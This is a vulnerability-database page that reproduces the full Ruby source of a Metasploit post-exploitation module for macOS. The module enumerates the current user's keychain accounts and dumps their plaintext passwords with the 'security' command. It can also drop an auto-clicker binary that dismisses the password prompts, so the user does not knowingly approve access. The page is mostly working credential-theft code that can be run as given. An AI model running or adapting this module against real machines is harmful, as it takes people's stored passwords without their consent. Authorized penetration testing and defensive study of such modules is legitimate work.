Lucene search
K

OS X Gather Keychain Enumeration

🗓️ 08 Aug 2012 08:03:19Reported by ipwnstuff <[email protected]>, joev <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 33 Views

OS X Keychain Enumeration and Password Collection Modul

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::OSX::System
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OS X Gather Keychain Enumeration',
        'Description' => %q{
          This module presents a way to quickly go through the current user's keychains and
          collect data such as email accounts, servers, and other services.  Please note:
          when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication
          alert flash briefly on their screen that gets dismissed by a programmatically triggered click.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ],
        'Platform' => [ 'osx' ],
        'SessionTypes' => [ 'meterpreter', 'shell' ]
      )
    )

    register_options(
      [
        OptBool.new('GETPASS', [false, 'Collect passwords.', false]),
        OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]),
        OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]),
        OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
      ]
    )
  end

  def list_keychains
    keychains = cmd_exec('security list')
    user = cmd_exec('whoami')
    print_status("The following keychains for #{user.strip} were found:")
    print_line(keychains.chomp)
    return keychains =~ /No such file or directory/ ? nil : keychains
  end

  def enum_accounts(_keychains)
    user = cmd_exec('whoami').chomp
    out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")

    accounts = []

    out.split("\n").each do |line|
      next if line =~ /NULL/

      case line
      when /"acct"/
        accounts << Hash.new
        accounts.last['acct'] = line.split('<blob>=')[1].split('"')[1]
      when /"srvr"/
        accounts.last['srvr'] = line.split('<blob>=')[1].split('"')[1]
      when /"svce"/
        accounts.last['svce'] = line.split('<blob>=')[1].split('"')[1]
      when /"desc"/
        accounts.last['desc'] = line.split('<blob>=')[1].split('"')[1]
      end
    end

    accounts
  end

  def get_passwords(accounts)
    (1..accounts.count).each do |num|
      if accounts[num].key?('srvr')
        c = 'find-internet-password'
        s = accounts[num]['srvr']
      else
        c = 'find-generic-password'
        s = accounts[num]['svce']
      end

      cmd = cmd_exec("security #{c} -ga \"#{accounts[num]['acct']}\" -s \"#{s}\" 2>&1")

      cmd.split("\n").each do |line|
        if line =~ /password: /
          if line.split[1].nil?
            accounts[num]['pass'] = nil
          else
            accounts[num]['pass'] = line.split[1].gsub('"', '')
          end
        end
      end
    end
    return accounts
  end

  def save(data, kind = 'Keychain information')
    l = store_loot('macosx.keychain.info',
                   'plain/text',
                   session,
                   data,
                   'keychain_info.txt',
                   'Mac Keychain Account/Server/Service/Description')

    print_good("#{@peer} - #{kind} saved in #{l}")
  end

  def run
    @peer = "#{session.session_host}:#{session.session_port}"

    keychains = list_keychains
    if keychains.nil?
      print_error("#{@peer} - Module timed out, no keychains found.")
      return
    end

    user = cmd_exec('/usr/bin/whoami').chomp
    accounts = enum_accounts(keychains)
    save(accounts)

    if datastore['GETPASS']
      if datastore['GETPASS_AUTO_ACCEPT']
        print_status("Writing auto-clicker to `#{clicker_file}'")
        write_file(clicker_file, clicker_bin)
        register_file_for_cleanup(clicker_file)

        print_status('Dumping keychain with auto-clicker...')
        passwords = cmd_exec("chmod +x #{clicker_file} && #{clicker_file}", nil, datastore['GETPASS_TIMEOUT'])
        save(passwords, 'Plaintext passwords')

        begin
          count = JSON.parse(passwords).count
          print_good("Successfully stole #{count} passwords")
        rescue JSON::ParserError => e
          print_error('Response was not valid JSON')
        end
      else
        begin
          passwords = get_passwords(accounts)
        rescue StandardError
          print_error("#{@peer} - Module timed out, no passwords found.")
          print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
        end
        save(passwords)
      end
    end
  end

  def clicker_file
    @clicker_file ||=
      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
  end

  def clicker_bin
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'osx', 'dump_keychain', 'dump'
    ))
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation